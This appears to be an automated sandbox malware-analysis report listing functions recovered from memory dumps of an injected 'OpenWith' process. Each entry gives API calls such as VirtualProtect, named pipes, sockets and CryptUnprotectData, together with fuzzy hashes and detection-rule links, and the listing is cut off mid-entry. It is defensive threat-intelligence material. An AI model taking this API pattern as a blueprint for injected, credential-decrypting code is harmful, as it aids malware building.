VirtualFree.KERNELBASE ref: 00007DF488BF63E0

Memory Dump Source

Source File: 0000000D.00000003.2512632578.00007DF488BE1000.00000020.00000001.00020000.00000000.sdmp, Offset: 00007DF488BE1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_3_7df488be1000_OpenWith.jbxd

Similarity

API ID: ??3@$FreeVirtual_calloc_dbg_malloc_dbg
String ID:
API String ID: 2435629650-0
Opcode ID: aae81571bd27c63e3009cb726d59ebe1a4043ba694c735212d7732e4a1a5a2b6
Instruction ID: ce01e89aec4e67a2a057501e219ff96aa2df39588e8825ba63a5559db95d88b8
Opcode Fuzzy Hash: aae81571bd27c63e3009cb726d59ebe1a4043ba694c735212d7732e4a1a5a2b6
Instruction Fuzzy Hash: A1421D30518E488FEBA5EF28D885A9AB7E1FB98700F10462EE45FC7256DF34E545CB81

Uniqueness

Uniqueness Score: -1.00%

Function 0000024AB87F1CD0 Relevance: 4.8, APIs: 3, Instructions: 278
memorynativeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RtlAllocateHeap.NTDLL ref: 0000024AB87F1E6B
NtAcceptConnectPort.NTDLL ref: 0000024AB87F1F6E
FindCloseChangeNotification.KERNELBASE ref: 0000024AB87F1F77

Memory Dump Source

Source File: 0000000D.00000002.2513242174.0000024AB87F0000.00000040.00000001.00020000.00000000.sdmp, Offset: 0000024AB87F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_24ab87f0000_OpenWith.jbxd

Similarity

API ID: AcceptAllocateChangeCloseConnectFindHeapNotificationPort
String ID:
API String ID: 3171316915-0
Opcode ID: 2998f17752da19f3229414bc30af807452c20e21bc577cde4fa90f5802e493a5
Instruction ID: a2abc673d3238570578ef44dd3981ce2b4d532f4af8217ef2106a00f537f0862
Opcode Fuzzy Hash: 2998f17752da19f3229414bc30af807452c20e21bc577cde4fa90f5802e493a5
Instruction Fuzzy Hash: BE912A70558E488FDB65EF1EC4857E573E0FB94318F10465EE89BC3296DA34E8828B92

Uniqueness

Uniqueness Score: -1.00%

Function 0000024AB87F1A90 Relevance: 4.6, APIs: 3, Instructions: 150
nativeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

NtAcceptConnectPort.NTDLL ref: 0000024AB87F1AD5

Part of subcall function 0000024AB87F185C: GetProcessMitigationPolicy.KERNELBASE ref: 0000024AB87F192F

NtAcceptConnectPort.NTDLL ref: 0000024AB87F1BCF
RtlAddVectoredExceptionHandler.NTDLL ref: 0000024AB87F1BEA

Memory Dump Source

Source File: 0000000D.00000002.2513242174.0000024AB87F0000.00000040.00000001.00020000.00000000.sdmp, Offset: 0000024AB87F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_24ab87f0000_OpenWith.jbxd

Similarity

API ID: AcceptConnectPort$ExceptionHandlerMitigationPolicyProcessVectored
String ID:
API String ID: 1453854198-0
Opcode ID: d10bc7eecf76d0dca438e32bd9e6ca23ea1b11bfffb6ce02bc94d4770511dc9b
Instruction ID: 14288a02c54c854a8c1b0b8ccc64fcd780f953bef5f62c0bbfefa892f329a90c
Opcode Fuzzy Hash: d10bc7eecf76d0dca438e32bd9e6ca23ea1b11bfffb6ce02bc94d4770511dc9b
Instruction Fuzzy Hash: 1A410170208B888FDB44DF2C88897957BD0FB69324F0443AEE85ACB3C7DA74C9458796

Uniqueness

Uniqueness Score: -1.00%

Function 00007DF488BFF83C Relevance: 4.6, APIs: 3, Instructions: 110pipeCOMMON

Download Yara Rule

APIs

CreateNamedPipeW.KERNELBASE ref: 00007DF488BFF8F3
BindIoCompletionCallback.KERNEL32 ref: 00007DF488BFF92A
ConnectNamedPipe.KERNELBASE ref: 00007DF488BFF93B

Memory Dump Source

Source File: 0000000D.00000003.2512632578.00007DF488BE1000.00000020.00000001.00020000.00000000.sdmp, Offset: 00007DF488BE1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_3_7df488be1000_OpenWith.jbxd

Similarity

API ID: NamedPipe$BindCallbackCompletionConnectCreate
String ID:
API String ID: 2502124517-0
Opcode ID: 9f21c1481329a0ea06529805dac4bd9f865f37b17101e2c3294277e11989e67f
Instruction ID: 442d3ab74bbcfa7940b7eb56b375bdd3050b8453d05892e144d555392f307cee
Opcode Fuzzy Hash: 9f21c1481329a0ea06529805dac4bd9f865f37b17101e2c3294277e11989e67f
Instruction Fuzzy Hash: 97318030608A498FE794DF28D8987AA77E1FF98310F50863AE45BC22D5DF38D945C782

Uniqueness

Uniqueness Score: -1.00%

Function 00007DF488C0A600 Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 82COMMON

Download Yara Rule

Strings

0, xrefs: 00007DF488C0A65F

Memory Dump Source

Source File: 0000000D.00000003.2512632578.00007DF488BE1000.00000020.00000001.00020000.00000000.sdmp, Offset: 00007DF488BE1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_3_7df488be1000_OpenWith.jbxd

Similarity

API ID:
String ID: 0
API String ID: 0-4108050209
Opcode ID: cde0ffe81ef901ac1f3e20277e9996c873e54bf14cb1d3d6ec20e7420b01d3b2
Instruction ID: 39e04a416819428b0e7ee58aa0fb2da241e703796538dc054b11ad5177163e85
Opcode Fuzzy Hash: cde0ffe81ef901ac1f3e20277e9996c873e54bf14cb1d3d6ec20e7420b01d3b2
Instruction Fuzzy Hash: 34218031F1CA888FE7A0AF58C98476A76F0FB98351F50463FE54AC3294D66898448B81

Uniqueness

Uniqueness Score: -1.00%

Function 00007DF488C0A540 Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 81COMMON

Download Yara Rule

Strings

0, xrefs: 00007DF488C0A598

Memory Dump Source

Source File: 0000000D.00000003.2512632578.00007DF488BE1000.00000020.00000001.00020000.00000000.sdmp, Offset: 00007DF488BE1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_3_7df488be1000_OpenWith.jbxd

Similarity

API ID:
String ID: 0
API String ID: 0-4108050209
Opcode ID: 8470fbff762e3531a12c1b2b11e56c88662d32310fb2e529b80da0b8d4828605
Instruction ID: 2394f517d1878ee4918677ba8287ef5d0b7f3bbaa511e2621e8b1a8cf2110635
Opcode Fuzzy Hash: 8470fbff762e3531a12c1b2b11e56c88662d32310fb2e529b80da0b8d4828605
Instruction Fuzzy Hash: 7B21D130B089884FEB90AA98C4C426E76E2FB98391F50453FF58FC3254C63898848741

Uniqueness

Uniqueness Score: -1.00%

Function 0000024AB87F0AC8 Relevance: 3.2, APIs: 2, Instructions: 173
nativeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

NtAcceptConnectPort.NTDLL ref: 0000024AB87F0BFD
NtAcceptConnectPort.NTDLL ref: 0000024AB87F0C47

Memory Dump Source

Source File: 0000000D.00000002.2513242174.0000024AB87F0000.00000040.00000001.00020000.00000000.sdmp, Offset: 0000024AB87F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_24ab87f0000_OpenWith.jbxd

Similarity

API ID: AcceptConnectPort
String ID:
API String ID: 1658770261-0
Opcode ID: 82f3aeb1d2454658223fb6d5b21d23051085e6a8eeabdc877af9343281df37cc
Instruction ID: cf59f8d0d2bdd2d6353bce31608316f897277fb8132191d04a0168fe786e1c02
Opcode Fuzzy Hash: 82f3aeb1d2454658223fb6d5b21d23051085e6a8eeabdc877af9343281df37cc
Instruction Fuzzy Hash: F1415F709589944AE328E62F8C8A67977D2F7D530DF30455EE8E6C2292DA39C583CB43

Uniqueness

Uniqueness Score: -1.00%

Function 00007DF488C314B8 Relevance: 3.1, APIs: 2, Instructions: 93networkCOMMON

Download Yara Rule

APIs

socket.WS2_32(?,?,?,?,?,?,?,?,0000006B,0000006A,-00000002,00007DF488C315D9), ref: 00007DF488C314E5

Part of subcall function 00007DF488C310C8: ioctlsocket.WS2_32 ref: 00007DF488C310F4

bind.WS2_32(?,?,?,?,?,?,?,?,0000006B,0000006A,-00000002,00007DF488C315D9), ref: 00007DF488C3156A

Memory Dump Source

Source File: 0000000D.00000003.2512632578.00007DF488BE1000.00000020.00000001.00020000.00000000.sdmp, Offset: 00007DF488BE1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_3_7df488be1000_OpenWith.jbxd

Similarity

API ID: bindioctlsocketsocket
String ID:
API String ID: 3555158474-0
Opcode ID: 440c2b03f282fdf09c5109c91abd02df385d83f8f207c58bd0edf43ea5c54b23
Instruction ID: 920176ebd331ab68d33eee97cba1c82f841ad857880b3ef34e677e4264a58173
Opcode Fuzzy Hash: 440c2b03f282fdf09c5109c91abd02df385d83f8f207c58bd0edf43ea5c54b23
Instruction Fuzzy Hash: 1D2186307089444FEBA8AB7CD88966633E5FB55325F10867BF82FC72D9DA389C428751

Uniqueness

Uniqueness Score: -1.00%

Function 00007DF488C0B154 Relevance: 3.1, APIs: 2, Instructions: 78nativeCOMMON

Download Yara Rule

APIs

NtAcceptConnectPort.NTDLL ref: 00007DF488C0B1C1
NtAcceptConnectPort.NTDLL ref: 00007DF488C0B215

Memory Dump Source

Source File: 0000000D.00000003.2512632578.00007DF488BE1000.00000020.00000001.00020000.00000000.sdmp, Offset: 00007DF488BE1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_3_7df488be1000_OpenWith.jbxd

Similarity

API ID: AcceptConnectPort
String ID:
API String ID: 1658770261-0
Opcode ID: bb3a5d325b70b3c5869b9374de40748949ecffae94d84d132abe14aae408c96c
Instruction ID: 7c9d9bad7e6aae0ae2970e2a6bfbf8fffe431bfcc690c5d30eb01c75ee5f3a39
Opcode Fuzzy Hash: bb3a5d325b70b3c5869b9374de40748949ecffae94d84d132abe14aae408c96c
Instruction Fuzzy Hash: 10212130158A488FDB84EB58D894B6677F1FBA9341F00462EE58AC36B4DBB4E944CF81

Uniqueness

Uniqueness Score: -1.00%

Function 00007DF488C0B088 Relevance: 3.1, APIs: 2, Instructions: 78nativeCOMMON

Download Yara Rule

APIs

NtAcceptConnectPort.NTDLL ref: 00007DF488C0B0F5
NtAcceptConnectPort.NTDLL ref: 00007DF488C0B14C

Memory Dump Source

Source File: 0000000D.00000003.2512632578.00007DF488BE1000.00000020.00000001.00020000.00000000.sdmp, Offset: 00007DF488BE1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_3_7df488be1000_OpenWith.jbxd

Similarity

API ID: AcceptConnectPort
String ID:
API String ID: 1658770261-0
Opcode ID: 4a10f73cb9c6438758193fa1af4c389c91f2a938f8d24df1736836a91db41c6d
Instruction ID: c191e71dd4a348f67cddcd5535f75671f19a1fb3b4c33f810d527cc6717b0099
Opcode Fuzzy Hash: 4a10f73cb9c6438758193fa1af4c389c91f2a938f8d24df1736836a91db41c6d
Instruction Fuzzy Hash: 33215430218A488FDB44EF58D845B66B7F1FBA9301F00462EE58AC76A0DBB4E544CF81

Uniqueness

Uniqueness Score: -1.00%

Function 00007DF488C17318 Relevance: 2.1, APIs: 1, Instructions: 552COMMON

Download Yara Rule

APIs

??3@YAXPEAX@Z.MSVCRT ref: 00007DF488C178E7

Memory Dump Source

Source File: 0000000D.00000003.2512632578.00007DF488BE1000.00000020.00000001.00020000.00000000.sdmp, Offset: 00007DF488BE1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_3_7df488be1000_OpenWith.jbxd

Similarity

API ID: ??3@
String ID:
API String ID: 613200358-0
Opcode ID: a6cd968419861a7b3701a0482a786f473b659c91568256b817c3ad8d95c3c928
Instruction ID: 44c228025ff9cdef333d059fca59ecbf7faecd7006bf19b17cf1ffba8a676496
Opcode Fuzzy Hash: a6cd968419861a7b3701a0482a786f473b659c91568256b817c3ad8d95c3c928
Instruction Fuzzy Hash: 7202233161CA488FEB95EB18D495A9BB7E1FF94300F40852EE54FC319ADE34E945CB82

Uniqueness

Uniqueness Score: -1.00%

Function 00007DF488C0A2B0 Relevance: 1.8, APIs: 1, Instructions: 260nativeCOMMON

Download Yara Rule

APIs

NtAcceptConnectPort.NTDLL ref: 00007DF488C0A370

Memory Dump Source

Source File: 0000000D.00000003.2512632578.00007DF488BE1000.00000020.00000001.00020000.00000000.sdmp, Offset: 00007DF488BE1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_3_7df488be1000_OpenWith.jbxd

Similarity

API ID: AcceptConnectPort
String ID:
API String ID: 1658770261-0
Opcode ID: 27f7c3ed38e874930e62f200bc0de066e796f05f1e534954138da2be9822abc3
Instruction ID: a2be605b67b44c3bd9e89e18f6396879953d9733e5f036109c566acc843fddc6
Opcode Fuzzy Hash: 27f7c3ed38e874930e62f200bc0de066e796f05f1e534954138da2be9822abc3
Instruction Fuzzy Hash: D1819534A1CB898BE7E4EB54D54566BB3E1FF94380F50863BE84FC7194EA78E8418781

Uniqueness

Uniqueness Score: -1.00%

Function 00007DF488C31950 Relevance: 1.7, APIs: 1, Instructions: 167networkCOMMON

Download Yara Rule

APIs

WSARecv.WS2_32 ref: 00007DF488C319EF

Memory Dump Source

Source File: 0000000D.00000003.2512632578.00007DF488BE1000.00000020.00000001.00020000.00000000.sdmp, Offset: 00007DF488BE1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_3_7df488be1000_OpenWith.jbxd

Similarity

API ID: Recv
String ID:
API String ID: 4192927123-0
Opcode ID: 6b887d4ee2da175949f8e81a0e65e3d063e47abc8ee875f5d1071da8520f6cd7
Instruction ID: 42dd65746e11c0b8e12c41350bde2156c4a2469936f5b0deb0d36cb38fef0598
Opcode Fuzzy Hash: 6b887d4ee2da175949f8e81a0e65e3d063e47abc8ee875f5d1071da8520f6cd7
Instruction Fuzzy Hash: B7512770608A898FEBA4DF2CC488B96B7E4FF14315F50856BE44BC3595EB39E845CB81

Uniqueness

Uniqueness Score: -1.00%

Function 00007DF488C09F40 Relevance: 1.6, APIs: 1, Instructions: 121nativeCOMMON

Download Yara Rule

APIs

NtAcceptConnectPort.NTDLL ref: 00007DF488C09FBB

Memory Dump Source

Source File: 0000000D.00000003.2512632578.00007DF488BE1000.00000020.00000001.00020000.00000000.sdmp, Offset: 00007DF488BE1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_3_7df488be1000_OpenWith.jbxd

Similarity

API ID: AcceptConnectPort
String ID:
API String ID: 1658770261-0
Opcode ID: 2b01fbad4d4e0569ef46bd7dcad2a47669287f66da831324c994fd011c0ec06d
Instruction ID: 159541c015061511305c97fed4eb94796b86f7a75ae8dac95c54823cf3faf6ea
Opcode Fuzzy Hash: 2b01fbad4d4e0569ef46bd7dcad2a47669287f66da831324c994fd011c0ec06d
Instruction Fuzzy Hash: 8331EC31B0CA494FE7986E1CE88557A33E4EB49355F20853FE94FC32D6D919BC064681

Uniqueness

Uniqueness Score: -1.00%

Function 00007DF488BFFF7C Relevance: 1.6, APIs: 1, Instructions: 114encryptionCOMMON

Download Yara Rule

APIs

CryptUnprotectData.CRYPT32 ref: 00007DF488C00005

Memory Dump Source

Source File: 0000000D.00000003.2512632578.00007DF488BE1000.00000020.00000001.00020000.00000000.sdmp, Offset: 00007DF488BE1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_3_7df488be1000_OpenWith.jbxd

Similarity

API ID: CryptDataUnprotect
String ID:
API String ID: 834300711-0
Opcode ID: a8ceccc7c3b42bea472bb160e78439ad2ed528e95685be1738a7c7424a046da7
Instruction ID: e7d53213ff76799453b551f9aba098e4668f8f8ffcd07585f93e392e705f92e2
Opcode Fuzzy Hash: a8ceccc7c3b42bea472bb160e78439ad2ed528e95685be1738a7c7424a046da7
Instruction Fuzzy Hash: F631923071CA484FE788EB68D85966BB7E1FBC8341F50852EF58BC3295DE78D8018742

Uniqueness

Uniqueness Score: -1.00%

Function 00007DF488C08E20 Relevance: 1.6, APIs: 1, Instructions: 100COMMON

Download Yara Rule

APIs

GetLogicalDriveStringsW.KERNELBASE ref: 00007DF488C08E72

Memory Dump Source

Source File: 0000000D.00000003.2512632578.00007DF488BE1000.00000020.00000001.00020000.00000000.sdmp, Offset: 00007DF488BE1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_3_7df488be1000_OpenWith.jbxd

Similarity

API ID: DriveLogicalStrings
String ID:
API String ID: 2022863570-0
Opcode ID: 96d4bccc55a322f8c5c27047067bd6e78efec68c6d2ad20cad7b4eab26150e85
Instruction ID: 76c4c7ba01f793cfd76f316d52a5fd84763d579acca12f2ac15d4bacd333cf09
Opcode Fuzzy Hash: 96d4bccc55a322f8c5c27047067bd6e78efec68c6d2ad20cad7b4eab26150e85
Instruction Fuzzy Hash: E5319431518A848BEBA0EB25DC946B773F2FF94340F00852BE84AC3294EF79D944C792

Uniqueness

Uniqueness Score: -1.00%

Function 0000024AB87F15AC Relevance: 1.6, APIs: 1, Instructions: 76
nativeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

NtAcceptConnectPort.NTDLL(?,?,?,?,?,?,?,?,00000000,0000024AB87F1E16), ref: 0000024AB87F1640

Memory Dump Source

Source File: 0000000D.00000002.2513242174.0000024AB87F0000.00000040.00000001.00020000.00000000.sdmp, Offset: 0000024AB87F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_24ab87f0000_OpenWith.jbxd

Similarity

API ID: AcceptConnectPort
String ID:
API String ID: 1658770261-0
Opcode ID: 835a411c94ef729b3118f684f14c42465dca72cdcacd8c0bc7bbe2bb8e6fff18
Instruction ID: 0d96865620739c14a1af75b0bf42d9e0b3514dff52df75155ff007af2ec99287
Opcode Fuzzy Hash: 835a411c94ef729b3118f684f14c42465dca72cdcacd8c0bc7bbe2bb8e6fff18
Instruction Fuzzy Hash: CB21A571518B488FDB55DF5DC4C966AB7E1FB79309F044A2EE44AC7260DB30D484CB42

Uniqueness

Uniqueness Score: -1.00%

Function 00007DF488C08A40 Relevance: 1.5, APIs: 1, Instructions: 34nativeCOMMON

Download Yara Rule

APIs

NtAcceptConnectPort.NTDLL ref: 00007DF488C08AA4

Memory Dump Source

Source File: 0000000D.00000003.2512632578.00007DF488BE1000.00000020.00000001.00020000.00000000.sdmp, Offset: 00007DF488BE1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_3_7df488be1000_OpenWith.jbxd

Similarity

API ID: AcceptConnectPort
String ID:
API String ID: 1658770261-0
Opcode ID: 89cd4ab345dceba4e6838d8713e086a2de13f743721c8352f444b7a2b322383a
Instruction ID: 71cf5794a4b9fb1bfac83a4095b2a7c98f3e4a5f89ea936fdf514d2e22663c91
Opcode Fuzzy Hash: 89cd4ab345dceba4e6838d8713e086a2de13f743721c8352f444b7a2b322383a
Instruction Fuzzy Hash: 99F05F3491C7C48FD6B0EB288480B5ABBF1BB9A244F548919E8CCC3611D73894858B43

Uniqueness

Uniqueness Score: -1.00%

Function 00007DF488C08C08 Relevance: 1.5, APIs: 1, Instructions: 34nativeCOMMON

Download Yara Rule

APIs

NtAcceptConnectPort.NTDLL ref: 00007DF488C08C57

Memory Dump Source

Source File: 0000000D.00000003.2512632578.00007DF488BE1000.00000020.00000001.00020000.00000000.sdmp, Offset: 00007DF488BE1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_3_7df488be1000_OpenWith.jbxd

Similarity

API ID: AcceptConnectPort
String ID:
API String ID: 1658770261-0
Opcode ID: 69ae87b658735349c63cb263c91b486edbc403e9935b0c4573bbe27b5e633224
Instruction ID: af4efc775eef4999675768a843adb6f2e24164466209c3c27df7f6e8a758ed83
Opcode Fuzzy Hash: 69ae87b658735349c63cb263c91b486edbc403e9935b0c4573bbe27b5e633224
Instruction Fuzzy Hash: 9AF0BD30A1CB848FDBA4EB2CD485B5A77E0FB98710F508519E44CC3245DB3498808B86

Uniqueness

Uniqueness Score: -1.00%

Function 00007DF488C08D94 Relevance: 1.5, APIs: 1, Instructions: 29nativeCOMMON

Download Yara Rule

APIs

NtAcceptConnectPort.NTDLL(?,?,?,?,?,?,00000000,?,?,00000000,00007DF488BF220C), ref: 00007DF488C08DBE

Memory Dump Source

Source File: 0000000D.00000003.2512632578.00007DF488BE1000.00000020.00000001.00020000.00000000.sdmp, Offset: 00007DF488BE1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_3_7df488be1000_OpenWith.jbxd

Similarity

API ID: AcceptConnectPort
String ID:
API String ID: 1658770261-0
Opcode ID: 90d86ff9c1e45aa3ed72609050e60067f34580a971d45073cfca8314096fabd0
Instruction ID: 00ac36ff4974701e706b981dc4e41db2130111e373068cb86eb6c7298a390937
Opcode Fuzzy Hash: 90d86ff9c1e45aa3ed72609050e60067f34580a971d45073cfca8314096fabd0
Instruction Fuzzy Hash: FBE09B316087498FDB00EF99CCC186AB7F0EBD4304F404D3AE84BCA164D664D548C652

Uniqueness

Uniqueness Score: -1.00%

Function 00007DF488C67344 Relevance: 1.5, APIs: 1, Instructions: 23COMMON

Download Yara Rule

APIs

GetSystemInfo.KERNELBASE(?,00007DF488C78C07,?,?,?,?,00000000,00000000), ref: 00007DF488C67361

Memory Dump Source

Source File: 0000000D.00000003.2512632578.00007DF488BE1000.00000020.00000001.00020000.00000000.sdmp, Offset: 00007DF488BE1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_3_7df488be1000_OpenWith.jbxd

Similarity

API ID: InfoSystem
String ID:
API String ID: 31276548-0
Opcode ID: d5a7f866afa65459f197dada8cd8f2dc6bf23d315f68f71e19f7445dc10f9d53
Instruction ID: 8c424e2ebcb09780cce4346f15cb051539dadc8bb2c0a8ceca74c323a013b7ce
Opcode Fuzzy Hash: d5a7f866afa65459f197dada8cd8f2dc6bf23d315f68f71e19f7445dc10f9d53
Instruction Fuzzy Hash: 49E04F31A248544AF359F731EC964E33221EBA4300F848623D807C14AAEE3C66898BC2

Uniqueness

Uniqueness Score: -1.00%

Function 00007DF488C08C90 Relevance: 1.5, APIs: 1, Instructions: 18nativeCOMMON

Download Yara Rule

APIs

NtAcceptConnectPort.NTDLL ref: 00007DF488C08CAB

Memory Dump Source

Source File: 0000000D.00000003.2512632578.00007DF488BE1000.00000020.00000001.00020000.00000000.sdmp, Offset: 00007DF488BE1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_3_7df488be1000_OpenWith.jbxd

Similarity

API ID: AcceptConnectPort
String ID:
API String ID: 1658770261-0
Opcode ID: d7f11550b64fe24df7d887543e07d0b6f7dff11bcf48c6b7495f6615248458b8
Instruction ID: 5fbfed44097dc6e84e0096199e1800343f79e299518749e81e0900c2b64aab68
Opcode Fuzzy Hash: d7f11550b64fe24df7d887543e07d0b6f7dff11bcf48c6b7495f6615248458b8
Instruction Fuzzy Hash: 74D05E30E2CB894BDAA4B7298C4060636F1FBD4348F908618D449C3208E22CE44086C7

Uniqueness

Uniqueness Score: -1.00%

Function 00007DF488C08AFC Relevance: 1.5, APIs: 1, Instructions: 13nativeCOMMON

Download Yara Rule

APIs

NtAcceptConnectPort.NTDLL ref: 00007DF488C08B0C

Memory Dump Source

Source File: 0000000D.00000003.2512632578.00007DF488BE1000.00000020.00000001.00020000.00000000.sdmp, Offset: 00007DF488BE1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_3_7df488be1000_OpenWith.jbxd

Similarity

API ID: AcceptConnectPort
String ID:
API String ID: 1658770261-0
Opcode ID: 2e7cca07a0f103a45b23901324486b8ac0a6e280eee8be16fb8f69fcdb4ab649
Instruction ID: 03a15672654f5856ea00e460ef4d78714242fd89446deeca53dfc639db1fefe2
Opcode Fuzzy Hash: 2e7cca07a0f103a45b23901324486b8ac0a6e280eee8be16fb8f69fcdb4ab649
Instruction Fuzzy Hash: 44C08C40B1DC4E1AEDA0726B8C8020520E0FB88780FC48421D40AC6184E90CE4C04392

Uniqueness

Uniqueness Score: -1.00%

Function 00007DF488C08D74 Relevance: 1.5, APIs: 1, Instructions: 13nativeCOMMON

Download Yara Rule

APIs

NtAcceptConnectPort.NTDLL ref: 00007DF488C08D84

Memory Dump Source

Source File: 0000000D.00000003.2512632578.00007DF488BE1000.00000020.00000001.00020000.00000000.sdmp, Offset: 00007DF488BE1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_3_7df488be1000_OpenWith.jbxd

Similarity

API ID: AcceptConnectPort
String ID:
API String ID: 1658770261-0
Opcode ID: ab2e37fa809895208040806298a2c2dead7b6d063d4717351e1d74892a555cc3
Instruction ID: 075f574029a90803ca317a78bd74120302df27c9683ed0f2e2279944cc5e477c
Opcode Fuzzy Hash: ab2e37fa809895208040806298a2c2dead7b6d063d4717351e1d74892a555cc3
Instruction Fuzzy Hash: CDC08C00A1890F8AE9A072AF8D8020520E0EBA8380FC88120940EC25C4E41CE4804392

Uniqueness

Uniqueness Score: -1.00%

Function 00007DF488BF4EE8 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 92memoryCOMMON

Download Yara Rule

APIs

VirtualProtect.KERNELBASE ref: 00007DF488BF4F48
VirtualProtect.KERNELBASE ref: 00007DF488BF4F71
VirtualProtect.KERNELBASE ref: 00007DF488BF4F8D
VirtualProtect.KERNELBASE ref: 00007DF488BF4FB8

Strings

rE\, xrefs: 00007DF488BF4F06

Memory Dump Source

Source File: 0000000D.00000003.2512632578.00007DF488BE1000.00000020.00000001.00020000.00000000.sdmp, Offset: 00007DF488BE1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_3_7df488be1000_OpenWith.jbxd

Similarity

API ID: ProtectVirtual
String ID: rE\
API String ID: 544645111-988334199
Opcode ID: dad0ceb36d93f336d009a6519c6099e5a7208cb48d97b2cc31c542dde7e3d245
Instruction ID: 147e8aaac5ab5fa30faec0822ceded2c61e8d04ed9f2922065888ebedc4692f0
Opcode Fuzzy Hash: dad0ceb36d93f336d009a6519c6099e5a7208cb48d97b2cc31c542dde7e3d245
Instruction Fuzzy Hash: 8F2171317189480FEB94E76898D16AA73E6FBD9700F104439F54FD7286DD28EE058782

Uniqueness

Uniqueness Score: -1.00%

Function 0000024AB89533B0 Relevance: 7.3, APIs: 3, Strings: 1, Instructions: 344memoryCOMMON

Download Yara Rule

APIs

RtlAllocateHeap.NTDLL ref: 0000024AB8953527
RtlAllocateHeap.NTDLL ref: 0000024AB895367A
RtlDeleteBoundaryDescriptor.NTDLL ref: 0000024AB89536F9

Strings

l, xrefs: 0000024AB89533D6

Memory Dump Source

Source File: 0000000D.00000003.2215334998.0000024AB8950000.00000040.00000001.00020000.00000000.sdmp, Offset: 0000024AB8950000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_3_24ab8950000_OpenWith.jbxd

Similarity

API ID: AllocateHeap$BoundaryDeleteDescriptor
String ID: l
API String ID: 2279964584-2517025534
Opcode ID: 945787e355e9cefb289f3126088299a2a592093c218b6f331fdd883cb8990c47
Instruction ID: cf8c88c2e16a967a2d58a88191234f1331d978f3df29e954aa5d87fd89025353
Opcode Fuzzy Hash: 945787e355e9cefb289f3126088299a2a592093c218b6f331fdd883cb8990c47
Instruction Fuzzy Hash: 9FA128315587580BDB299E2CC89A6FAB7D1FFA6308F10066EF4CBC3187DD34D9468682

Uniqueness

Uniqueness Score: -1.00%

Function 00007DF488BF1F68 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 73memoryCOMMON

Download Yara Rule

APIs

VirtualProtect.KERNELBASE ref: 00007DF488BF1FEA
VirtualProtect.KERNELBASE ref: 00007DF488BF2014

Strings

, xrefs: 00007DF488BF1FCB

Memory Dump Source

Source File: 0000000D.00000003.2512632578.00007DF488BE1000.00000020.00000001.00020000.00000000.sdmp, Offset: 00007DF488BE1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_3_7df488be1000_OpenWith.jbxd

Similarity

API ID: ProtectVirtual
String ID:
API String ID: 544645111-3916222277
Opcode ID: e7e536793b46bbdf8757706278a080a854535d6fca16d5cb7745ca510e895c5d
Instruction ID: 61d35a66a5e0bb77694e940b51229cd88318f9a57ea9e9143371e50388390770
Opcode Fuzzy Hash: e7e536793b46bbdf8757706278a080a854535d6fca16d5cb7745ca510e895c5d
Instruction Fuzzy Hash: BC11063160885A4BE755EB29D8946B6B3E1EF90310F54827AF85BC71A1CB1CE852C781

Uniqueness

Uniqueness Score: -1.00%

Function 00007DF488C310C8 Relevance: 4.6, APIs: 3, Instructions: 117COMMON

Download Yara Rule

APIs

ioctlsocket.WS2_32 ref: 00007DF488C310F4
CreateIoCompletionPort.KERNELBASE ref: 00007DF488C3112A
SetFileCompletionNotificationModes.KERNEL32 ref: 00007DF488C31170

Memory Dump Source

Source File: 0000000D.00000003.2512632578.00007DF488BE1000.00000020.00000001.00020000.00000000.sdmp, Offset: 00007DF488BE1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_3_7df488be1000_OpenWith.jbxd

Similarity

API ID: Completion$CreateFileModesNotificationPortioctlsocket
String ID:
API String ID: 1455841399-0
Opcode ID: ea0de95ab8d492ab321edf1cf0b460d03c03f83aa0a5be87d8e0918c001e10b9
Instruction ID: 3ced3c921907cec44cffaec2203a28e2800a3263229d364956956f981e140504
Opcode Fuzzy Hash: ea0de95ab8d492ab321edf1cf0b460d03c03f83aa0a5be87d8e0918c001e10b9
Instruction Fuzzy Hash: 2A31D4307089944FFBF99A2CD8852BA32F5EF45355F50407BF80FC219ADA29EC428791

Uniqueness

Uniqueness Score: -1.00%

Function 00007DF488CD802C Relevance: 4.6, APIs: 3, Instructions: 89COMMON

